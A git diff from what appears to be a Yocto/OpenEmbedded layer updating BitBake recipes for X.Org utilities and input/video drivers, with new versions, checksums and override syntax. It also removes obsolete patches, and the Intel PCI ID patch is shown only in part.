+++ b/meta/recipes-graphics/xorg-app/xvinfo_1.1.5.bb
@@ -0,0 +1,14 @@
+require xorg-app-common.inc
+
+SUMMARY = "Print out X-Video extension adaptor information"
+
+DESCRIPTION = "xvinfo prints out the capabilities of any video adaptors \
+associated with the display that are accessible through the X-Video \
+extension."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b664101ad7a1dc758a4c4109bf978e68"
+DEPENDS += " libxv"
+PE = "1"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "3ede71ecb26d9614ccbc6916720285e95a2c7e0c5e19b8570eaaf72ad7c5c404"
diff --git a/meta/recipes-graphics/xorg-app/xwininfo_1.1.5.bb b/meta/recipes-graphics/xorg-app/xwininfo_1.1.5.bb
deleted file mode 100644
index ec9f08268e..0000000000
--- a/meta/recipes-graphics/xorg-app/xwininfo_1.1.5.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Window information utility for X"
-
-DESCRIPTION = "Xwininfo is a utility for displaying information about \
-windows. Information may include window position, size, color depth, \
-and a number of other items."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=78976cd3115f6faf615accc4e094d90e"
-DEPENDS += "libxext libxmu gettext-native"
-
-PE = "0"
-
-SRC_URI[md5sum] = "26d46f7ef0588d3392da3ad5802be420"
-SRC_URI[sha256sum] = "7a405441dfc476666c744f5fcd1bc8a75abf8b5b1d85db7b88b370982365080e"
diff --git a/meta/recipes-graphics/xorg-app/xwininfo_1.1.6.bb b/meta/recipes-graphics/xorg-app/xwininfo_1.1.6.bb
new file mode 100644
index 0000000000..39ec76724c
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xwininfo_1.1.6.bb
@@ -0,0 +1,16 @@
+require xorg-app-common.inc
+
+SUMMARY = "Window information utility for X"
+
+DESCRIPTION = "Xwininfo is a utility for displaying information about \
+windows. Information may include window position, size, color depth, \
+and a number of other items."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a1b9559d7b7997a6e9588012ebf8769a"
+DEPENDS += "libxext libxmu gettext-native"
+
+PE = "0"
+
+SRC_URI_EXT = "xz"
+SRC_URI[md5sum] = "c91201bc1eb5e7b38933be8d0f7f16a8"
+SRC_URI[sha256sum] = "3518897c17448df9ba99ad6d9bb1ca0f17bc0ed7c0fd61281b34ceed29a9253f"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-keyboard_1.9.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-keyboard_1.9.0.bb
deleted file mode 100644
index 1896fff9f9..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-keyboard_1.9.0.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "X.Org X server -- keyboard input driver"
-
-DESCRIPTION = "keyboard is an Xorg input driver for keyboards. The \
-driver supports the standard OS-provided keyboard interface. The driver \
-functions as a keyboard input device, and may be used as the X server's \
-core keyboard."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea2099d24ac9e316a6d4b9f20b3d4e10"
-
-SRC_URI[md5sum] = "a3a3f0dd32361dcdbd406e894dafe090"
-SRC_URI[sha256sum] = "f7c900f21752683402992b288d5a2826de7a6c0c0abac2aadd7e8a409e170388"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb
deleted file mode 100644
index d02988caa4..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "Generic input driver for the X.Org server based on libinput"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5e6b20ea2ef94a998145f0ea3f788ee0"
-
-DEPENDS += "libinput"
-
-SRC_URI[md5sum] = "11dcfa2cc39f790731a9545fcdeea717"
-SRC_URI[sha256sum] = "f9c7f9fd41ae14061e0e9c3bd45fa170e5e21027a2bc5810034e1e748db996c0"
-
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.4.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.4.0.bb
new file mode 100644
index 0000000000..92272c3f2a
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.4.0.bb
@@ -0,0 +1,12 @@
+require xorg-driver-input.inc
+
+SUMMARY = "Generic input driver for the X.Org server based on libinput"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a22925127bd3c827c384cedd23ed2309"
+
+DEPENDS += "libinput"
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
+SRC_URI[sha256sum] = "3a3d14cd895dc75b59ae2783b888031956a0bac7a1eff16d240dbb9d5df3e398"
+
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.3.bb b/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.3.bb
deleted file mode 100644
index c38dab505b..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.3.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "X.Org X server -- mouse input driver"
-
-DESCRIPTION = "mouse is an Xorg input driver for mice. The driver \
-supports most available mouse types and interfaces. The mouse driver \
-functions as a pointer input device, and may be used as the X server's \
-core pointer. Multiple mice are supported by multiple instances of this \
-driver."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=90ea9f90d72b6d9327dede5ffdb2a510"
-
-SRC_URI[md5sum] = "a2104693bbcfe1413397f7905eecd3dc"
-SRC_URI[sha256sum] = "93ecb350604d05be98b7d4e5db3b8155a44890069a7d8d6b800c0bea79c85cc5"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.5.bb b/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.5.bb
new file mode 100644
index 0000000000..92e54d9701
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.5.bb
@@ -0,0 +1,14 @@
+require xorg-driver-input.inc
+
+SUMMARY = "X.Org X server -- mouse input driver"
+
+DESCRIPTION = "mouse is an Xorg input driver for mice. The driver \
+supports most available mouse types and interfaces. The mouse driver \
+functions as a pointer input device, and may be used as the X server's \
+core pointer. Multiple mice are supported by multiple instances of this \
+driver."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d213a69053dffe9bcab94abf60013d33"
+
+SRC_URI[sha256sum] = "4fde8ae9b44352e2a208584c36528ee3ed13cf5fe4417208a9785daccefd9968"
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch
deleted file mode 100644
index 4bb7fb3e23..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-This patch avoids using time field of input_event structure which is not available
-on 32bit arches supporting 64bit time_t structs, Patch makes it compatible with new
-and keeps old input.h implementation functional as well.
-
-See https://sourceware.org/glibc/wiki/Y2038ProofnessDesign
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- a/src/eventcomm.c
-+++ b/src/eventcomm.c
-@@ -575,10 +575,12 @@ SynapticsReadEvent(InputInfoPtr pInfo, s
- ev->type = EV_SYN;
- ev->code = SYN_REPORT;
- ev->value = 0;
-- ev->time = last_event_time;
-- } else if (ev->type == EV_SYN)
-- last_event_time = ev->time;
--
-+ ev->input_event_sec = last_event_time.tv_sec;
-+ ev->input_event_usec = last_event_time.tv_usec;
-+ } else if (ev->type == EV_SYN) {
-+ last_event_time.tv_sec = ev->input_event_sec;
-+ last_event_time.tv_usec = ev->input_event_usec;
-+ }
- return TRUE;
- }
-
-@@ -725,7 +727,7 @@ EventReadHwState(InputInfoPtr pInfo,
- case SYN_REPORT:
- hw->numFingers = count_fingers(pInfo, comm);
- if (proto_data->have_monotonic_clock)
-- hw->millis = 1000 * ev.time.tv_sec + ev.time.tv_usec / 1000;
-+ hw->millis = 1000 * ev.input_event_sec + ev.input_event_usec / 1000;
- else
- hw->millis = GetTimeInMillis();
- SynapticsCopyHwState(hwRet, hw);
---- a/src/eventcomm.h
-+++ b/src/eventcomm.h
-@@ -34,6 +34,11 @@
- #include <xf86Xinput.h>
- #include "synproto.h"
-
-+#ifndef input_event_sec
-+#define input_event_sec time.tv_sec
-+#define input_event_usec time.tv_usec
-+#endif
-+
- /* for auto-dev: */
- #define DEV_INPUT_EVENT "/dev/input"
- #define EVENT_DEV_NAME "event"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb
deleted file mode 100644
index 388350c96e..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "X.Org X server -- synaptics touchpad input driver"
-
-DESCRIPTION = "synaptics is an Xorg input driver for the touchpads from \
-Synaptics Incorporated. Even though these touchpads (by default, \
-operating in a compatibility mode emulating a standard mouse) can be \
-handled by the normal evdev or mouse drivers, this driver allows more \
-advanced features of the touchpad to become available."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=55aacd3535a741824955c5eb8f061398"
-
-SRC_URI += "file://64bit_time_t_support.patch"
-
-SRC_URI[md5sum] = "cfb79d3c975151f9bbf30b727c260cb9"
-SRC_URI[sha256sum] = "7af83526eff1c76e8b9e1553b34245c203d029028d8044dd9dcf71eef1001576"
-
-DEPENDS += "libxi mtdev libxtst libevdev"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.2.bb b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.2.bb
new file mode 100644
index 0000000000..8e446290b2
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.2.bb
@@ -0,0 +1,17 @@
+require xorg-driver-input.inc
+
+SUMMARY = "X.Org X server -- synaptics touchpad input driver"
+
+DESCRIPTION = "synaptics is an Xorg input driver for the touchpads from \
+Synaptics Incorporated. Even though these touchpads (by default, \
+operating in a compatibility mode emulating a standard mouse) can be \
+handled by the normal evdev or mouse drivers, this driver allows more \
+advanced features of the touchpad to become available."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=55aacd3535a741824955c5eb8f061398"
+
+SRC_URI[sha256sum] = "b8fa4aab913fc63754bbd6439e020658c412743a055201ddf212760593962c38"
+
+DEPENDS += "libxi mtdev libxtst libevdev"
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
deleted file mode 100644
index 92a1b25ebe..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "X.Org X server -- VMWare mouse input driver"
-DESCRIPTION = "The vmmouse driver enables support for the special VMMouse \
-protocol that is provided by VMware virtual machines to give absolute \
-pointer positioning. The vmmouse driver is capable of falling back to the \
-standard 'mouse' driver if a VMware virtual machine is not detected."
-
-SRC_URI[md5sum] = "85e2e464b7219c495ad3a16465c226ed"
-SRC_URI[sha256sum] = "0af558957ac1be1b2863712c2475de8f4d7f14921fd01ded2e2fde4921b19319"
-
-RDEPENDS_${PN} += "xf86-input-mouse"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=622841c068a9d7625fbfe7acffb1a8fc"
-
-COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-
-do_install_append () {
- # We don't care about hal
- rm -rf ${D}${datadir}/hal/
- rm -rf ${D}${libdir}/hal/
-}
-
-EXTRA_OECONF = "--with-udev-rules-dir=${nonarch_base_libdir}/udev/rules.d"
-
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.2.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.2.0.bb
new file mode 100644
index 0000000000..7567b1ef2b
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.2.0.bb
@@ -0,0 +1,27 @@
+require xorg-driver-input.inc
+
+SUMMARY = "X.Org X server -- VMWare mouse input driver"
+DESCRIPTION = "The vmmouse driver enables support for the special VMMouse \
+protocol that is provided by VMware virtual machines to give absolute \
+pointer positioning. The vmmouse driver is capable of falling back to the \
+standard 'mouse' driver if a VMware virtual machine is not detected."
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
+
+SRC_URI[sha256sum] = "56f077580ab8f02e2f40358c5c46b0ae3e1828fc77744526b24adf1ceea339b8"
+
+RDEPENDS:${PN} += "xf86-input-mouse"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=622841c068a9d7625fbfe7acffb1a8fc"
+
+COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
+
+do_install:append () {
+ # We don't care about hal
+ rm -rf ${D}${datadir}/hal/
+ rm -rf ${D}${libdir}/hal/
+}
+
+EXTRA_OECONF = "--with-udev-rules-dir=${nonarch_base_libdir}/udev/rules.d"
+
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.5.3.bb b/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.5.3.bb
deleted file mode 100644
index c498477604..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.5.3.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require xorg-driver-video.inc
-
-SUMMARY = "X.Org X server -- cirrus display driver"
-DESCRIPTION = "cirrus is an Xorg driver for Cirrus Logic VGA adapters. These \
-devices are not so common in the wild anymore, but QEMU can emulate one, so \
-the driver is still useful."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6ddc7ca860dc5fd014e7f160ea699295"
-
-SRC_URI[md5sum] = "7d7dfd4cdc42aa8b6e923510fa00ad2b"
-SRC_URI[sha256sum] = "edc87b20a55259126b5239b5c1ef913419eab7ded0ed12ae9ae989460d7351ab"
-
-DEPENDS += "libpciaccess"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.6.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.6.0.bb
new file mode 100644
index 0000000000..32eb8a4816
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.6.0.bb
@@ -0,0 +1,14 @@
+require xorg-driver-video.inc
+
+SUMMARY = "X.Org X server -- cirrus display driver"
+DESCRIPTION = "cirrus is an Xorg driver for Cirrus Logic VGA adapters. These \
+devices are not so common in the wild anymore, but QEMU can emulate one, so \
+the driver is still useful."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6ddc7ca860dc5fd014e7f160ea699295"
+
+SRC_URI[sha256sum] = "0ef3fa0083de3d9a040f11b3af38598d8405f1165b908fdd6712c30038326401"
+
+DEPENDS += "libpciaccess"
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch b/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch
deleted file mode 100644
index ef3b1afb1f..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch
+++ /dev/null
@@ -1,505 +0,0 @@
-From 05909fea93f29b2b6e1d554dd64201551bd7a022 Mon Sep 17 00:00:00 2001
-From: Liwei Song <liwei.song@windriver.com>
-Date: Fri, 17 Apr 2020 16:11:59 +0800
-Subject: [PATCH] Sync i915_pciids upto 8717c6b7414f
-
-Import the kernel's i915_pciids.h, up to:
-
-commit 8717c6b7414ffb890672276dccc284c23078ac0e
-Author: Lee Shawn C <shawn.c.lee@intel.com>
-Date: Tue Dec 10 23:04:15 2019 +0800
-
- drm/i915/cml: Separate U series pci id from origianl list.
-
-Upstream-Status: Submitted [https://patchwork.kernel.org/patch/11494645/]
-
-Signed-off-by: Liwei Song <liwei.song@windriver.com>
----
- src/i915_pciids.h | 265 ++++++++++++++++++++++++++++++++++-----------
- src/intel_module.c | 2 +-
- test/dri3-test.c | 2 +-
- 3 files changed, 206 insertions(+), 63 deletions(-)
-
-diff --git a/src/i915_pciids.h b/src/i915_pciids.h
-index fd965ffbb92e..1d2c12219f44 100644
---- a/src/i915_pciids.h
-+++ b/src/i915_pciids.h
-@@ -108,8 +108,10 @@
- INTEL_VGA_DEVICE(0x2e42, info), /* B43_G */ \
- INTEL_VGA_DEVICE(0x2e92, info) /* B43_G.1 */
-
--#define INTEL_PINEVIEW_IDS(info) \
-- INTEL_VGA_DEVICE(0xa001, info), \
-+#define INTEL_PINEVIEW_G_IDS(info) \
-+ INTEL_VGA_DEVICE(0xa001, info)
-+
-+#define INTEL_PINEVIEW_M_IDS(info) \
- INTEL_VGA_DEVICE(0xa011, info)
-
- #define INTEL_IRONLAKE_D_IDS(info) \
-@@ -166,7 +168,18 @@
- #define INTEL_IVB_Q_IDS(info) \
- INTEL_QUANTA_VGA_DEVICE(info) /* Quanta transcode */
-
-+#define INTEL_HSW_ULT_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A02, info), /* ULT GT1 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A0A, info), /* ULT GT1 server */ \
-+ INTEL_VGA_DEVICE(0x0A0B, info), /* ULT GT1 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A06, info) /* ULT GT1 mobile */
-+
-+#define INTEL_HSW_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A0E, info) /* ULX GT1 mobile */
-+
- #define INTEL_HSW_GT1_IDS(info) \
-+ INTEL_HSW_ULT_GT1_IDS(info), \
-+ INTEL_HSW_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x0402, info), /* GT1 desktop */ \
- INTEL_VGA_DEVICE(0x040a, info), /* GT1 server */ \
- INTEL_VGA_DEVICE(0x040B, info), /* GT1 reserved */ \
-@@ -175,20 +188,26 @@
- INTEL_VGA_DEVICE(0x0C0A, info), /* SDV GT1 server */ \
- INTEL_VGA_DEVICE(0x0C0B, info), /* SDV GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0C0E, info), /* SDV GT1 reserved */ \
-- INTEL_VGA_DEVICE(0x0A02, info), /* ULT GT1 desktop */ \
-- INTEL_VGA_DEVICE(0x0A0A, info), /* ULT GT1 server */ \
-- INTEL_VGA_DEVICE(0x0A0B, info), /* ULT GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0D02, info), /* CRW GT1 desktop */ \
- INTEL_VGA_DEVICE(0x0D0A, info), /* CRW GT1 server */ \
- INTEL_VGA_DEVICE(0x0D0B, info), /* CRW GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0D0E, info), /* CRW GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0406, info), /* GT1 mobile */ \
- INTEL_VGA_DEVICE(0x0C06, info), /* SDV GT1 mobile */ \
-- INTEL_VGA_DEVICE(0x0A06, info), /* ULT GT1 mobile */ \
-- INTEL_VGA_DEVICE(0x0A0E, info), /* ULX GT1 mobile */ \
- INTEL_VGA_DEVICE(0x0D06, info) /* CRW GT1 mobile */
-
-+#define INTEL_HSW_ULT_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A12, info), /* ULT GT2 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A1A, info), /* ULT GT2 server */ \
-+ INTEL_VGA_DEVICE(0x0A1B, info), /* ULT GT2 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A16, info) /* ULT GT2 mobile */
-+
-+#define INTEL_HSW_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A1E, info) /* ULX GT2 mobile */ \
-+
- #define INTEL_HSW_GT2_IDS(info) \
-+ INTEL_HSW_ULT_GT2_IDS(info), \
-+ INTEL_HSW_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x0412, info), /* GT2 desktop */ \
- INTEL_VGA_DEVICE(0x041a, info), /* GT2 server */ \
- INTEL_VGA_DEVICE(0x041B, info), /* GT2 reserved */ \
-@@ -197,9 +216,6 @@
- INTEL_VGA_DEVICE(0x0C1A, info), /* SDV GT2 server */ \
- INTEL_VGA_DEVICE(0x0C1B, info), /* SDV GT2 reserved */ \
- INTEL_VGA_DEVICE(0x0C1E, info), /* SDV GT2 reserved */ \
-- INTEL_VGA_DEVICE(0x0A12, info), /* ULT GT2 desktop */ \
-- INTEL_VGA_DEVICE(0x0A1A, info), /* ULT GT2 server */ \
-- INTEL_VGA_DEVICE(0x0A1B, info), /* ULT GT2 reserved */ \
- INTEL_VGA_DEVICE(0x0D12, info), /* CRW GT2 desktop */ \
- INTEL_VGA_DEVICE(0x0D1A, info), /* CRW GT2 server */ \
- INTEL_VGA_DEVICE(0x0D1B, info), /* CRW GT2 reserved */ \
-@@ -207,11 +223,17 @@
- INTEL_VGA_DEVICE(0x0416, info), /* GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0426, info), /* GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0C16, info), /* SDV GT2 mobile */ \
-- INTEL_VGA_DEVICE(0x0A16, info), /* ULT GT2 mobile */ \
-- INTEL_VGA_DEVICE(0x0A1E, info), /* ULX GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0D16, info) /* CRW GT2 mobile */
-
-+#define INTEL_HSW_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A22, info), /* ULT GT3 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A2A, info), /* ULT GT3 server */ \
-+ INTEL_VGA_DEVICE(0x0A2B, info), /* ULT GT3 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A26, info), /* ULT GT3 mobile */ \
-+ INTEL_VGA_DEVICE(0x0A2E, info) /* ULT GT3 reserved */
-+
- #define INTEL_HSW_GT3_IDS(info) \
-+ INTEL_HSW_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x0422, info), /* GT3 desktop */ \
- INTEL_VGA_DEVICE(0x042a, info), /* GT3 server */ \
- INTEL_VGA_DEVICE(0x042B, info), /* GT3 reserved */ \
-@@ -220,16 +242,11 @@
- INTEL_VGA_DEVICE(0x0C2A, info), /* SDV GT3 server */ \
- INTEL_VGA_DEVICE(0x0C2B, info), /* SDV GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0C2E, info), /* SDV GT3 reserved */ \
-- INTEL_VGA_DEVICE(0x0A22, info), /* ULT GT3 desktop */ \
-- INTEL_VGA_DEVICE(0x0A2A, info), /* ULT GT3 server */ \
-- INTEL_VGA_DEVICE(0x0A2B, info), /* ULT GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D22, info), /* CRW GT3 desktop */ \
- INTEL_VGA_DEVICE(0x0D2A, info), /* CRW GT3 server */ \
- INTEL_VGA_DEVICE(0x0D2B, info), /* CRW GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D2E, info), /* CRW GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0C26, info), /* SDV GT3 mobile */ \
-- INTEL_VGA_DEVICE(0x0A26, info), /* ULT GT3 mobile */ \
-- INTEL_VGA_DEVICE(0x0A2E, info), /* ULT GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D26, info) /* CRW GT3 mobile */
-
- #define INTEL_HSW_IDS(info) \
-@@ -245,35 +262,59 @@
- INTEL_VGA_DEVICE(0x0157, info), \
- INTEL_VGA_DEVICE(0x0155, info)
-
--#define INTEL_BDW_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x1602, info), /* GT1 ULT */ \
-+#define INTEL_BDW_ULT_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x1606, info), /* GT1 ULT */ \
-- INTEL_VGA_DEVICE(0x160B, info), /* GT1 Iris */ \
-- INTEL_VGA_DEVICE(0x160E, info), /* GT1 ULX */ \
-+ INTEL_VGA_DEVICE(0x160B, info) /* GT1 Iris */
-+
-+#define INTEL_BDW_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x160E, info) /* GT1 ULX */
-+
-+#define INTEL_BDW_GT1_IDS(info) \
-+ INTEL_BDW_ULT_GT1_IDS(info), \
-+ INTEL_BDW_ULX_GT1_IDS(info), \
-+ INTEL_VGA_DEVICE(0x1602, info), /* GT1 ULT */ \
- INTEL_VGA_DEVICE(0x160A, info), /* GT1 Server */ \
- INTEL_VGA_DEVICE(0x160D, info) /* GT1 Workstation */
-
--#define INTEL_BDW_GT2_IDS(info) \
-- INTEL_VGA_DEVICE(0x1612, info), /* GT2 Halo */ \
-+#define INTEL_BDW_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x1616, info), /* GT2 ULT */ \
-- INTEL_VGA_DEVICE(0x161B, info), /* GT2 ULT */ \
-- INTEL_VGA_DEVICE(0x161E, info), /* GT2 ULX */ \
-+ INTEL_VGA_DEVICE(0x161B, info) /* GT2 ULT */
-+
-+#define INTEL_BDW_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x161E, info) /* GT2 ULX */
-+
-+#define INTEL_BDW_GT2_IDS(info) \
-+ INTEL_BDW_ULT_GT2_IDS(info), \
-+ INTEL_BDW_ULX_GT2_IDS(info), \
-+ INTEL_VGA_DEVICE(0x1612, info), /* GT2 Halo */ \
- INTEL_VGA_DEVICE(0x161A, info), /* GT2 Server */ \
- INTEL_VGA_DEVICE(0x161D, info) /* GT2 Workstation */
-
-+#define INTEL_BDW_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1626, info), /* ULT */ \
-+ INTEL_VGA_DEVICE(0x162B, info) /* Iris */ \
-+
-+#define INTEL_BDW_ULX_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x162E, info) /* ULX */
-+
- #define INTEL_BDW_GT3_IDS(info) \
-+ INTEL_BDW_ULT_GT3_IDS(info), \
-+ INTEL_BDW_ULX_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x1622, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x1626, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x162B, info), /* Iris */ \
-- INTEL_VGA_DEVICE(0x162E, info), /* ULX */\
- INTEL_VGA_DEVICE(0x162A, info), /* Server */ \
- INTEL_VGA_DEVICE(0x162D, info) /* Workstation */
-
-+#define INTEL_BDW_ULT_RSVD_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1636, info), /* ULT */ \
-+ INTEL_VGA_DEVICE(0x163B, info) /* Iris */
-+
-+#define INTEL_BDW_ULX_RSVD_IDS(info) \
-+ INTEL_VGA_DEVICE(0x163E, info) /* ULX */
-+
- #define INTEL_BDW_RSVD_IDS(info) \
-+ INTEL_BDW_ULT_RSVD_IDS(info), \
-+ INTEL_BDW_ULX_RSVD_IDS(info), \
- INTEL_VGA_DEVICE(0x1632, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x1636, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x163B, info), /* Iris */ \
-- INTEL_VGA_DEVICE(0x163E, info), /* ULX */ \
- INTEL_VGA_DEVICE(0x163A, info), /* Server */ \
- INTEL_VGA_DEVICE(0x163D, info) /* Workstation */
-
-@@ -289,25 +330,40 @@
- INTEL_VGA_DEVICE(0x22b2, info), \
- INTEL_VGA_DEVICE(0x22b3, info)
-
-+#define INTEL_SKL_ULT_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1906, info) /* ULT GT1 */
-+
-+#define INTEL_SKL_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x190E, info) /* ULX GT1 */
-+
- #define INTEL_SKL_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x1906, info), /* ULT GT1 */ \
-- INTEL_VGA_DEVICE(0x190E, info), /* ULX GT1 */ \
-+ INTEL_SKL_ULT_GT1_IDS(info), \
-+ INTEL_SKL_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x1902, info), /* DT GT1 */ \
- INTEL_VGA_DEVICE(0x190B, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x190A, info) /* SRV GT1 */
-
--#define INTEL_SKL_GT2_IDS(info) \
-+#define INTEL_SKL_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x1916, info), /* ULT GT2 */ \
-- INTEL_VGA_DEVICE(0x1921, info), /* ULT GT2F */ \
-- INTEL_VGA_DEVICE(0x191E, info), /* ULX GT2 */ \
-+ INTEL_VGA_DEVICE(0x1921, info) /* ULT GT2F */
-+
-+#define INTEL_SKL_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x191E, info) /* ULX GT2 */
-+
-+#define INTEL_SKL_GT2_IDS(info) \
-+ INTEL_SKL_ULT_GT2_IDS(info), \
-+ INTEL_SKL_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x1912, info), /* DT GT2 */ \
- INTEL_VGA_DEVICE(0x191B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x191A, info), /* SRV GT2 */ \
